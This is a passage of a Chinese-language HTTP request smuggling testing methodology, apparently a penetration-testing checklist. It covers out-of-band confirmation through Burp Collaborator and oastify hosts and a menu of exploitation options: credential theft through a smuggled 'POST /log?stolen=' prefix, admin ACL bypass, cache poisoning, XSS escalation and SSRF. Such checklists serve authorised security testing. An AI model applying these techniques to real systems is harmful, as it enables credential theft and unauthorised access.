├─ 走私请求 Host: xxx.burpcollaborator.net
├─ 或走私请求到 http://xxx.oastify.com
├─ Collaborator 收到请求 → 100% 确认走私
└─ 且可确认走私请求的完整内容
Step 5: 选择利用方式
├─ 窃取凭据 → 走私 POST /log?stolen= 前缀
├─ 绕过 ACL → 走私 GET /admin
├─ 缓存投毒 → 走私请求到静态资源路径 + 恶意 Host
├─ XSS 升级 → 走私包含 XSS 的请求
└─ SSRF → 走私请求到内部服务
Step 6: 验证利用
├─ 确认走私请求被后端处理
├─ 收集证据(响应、截图、日志)
└─ 评估影响范围---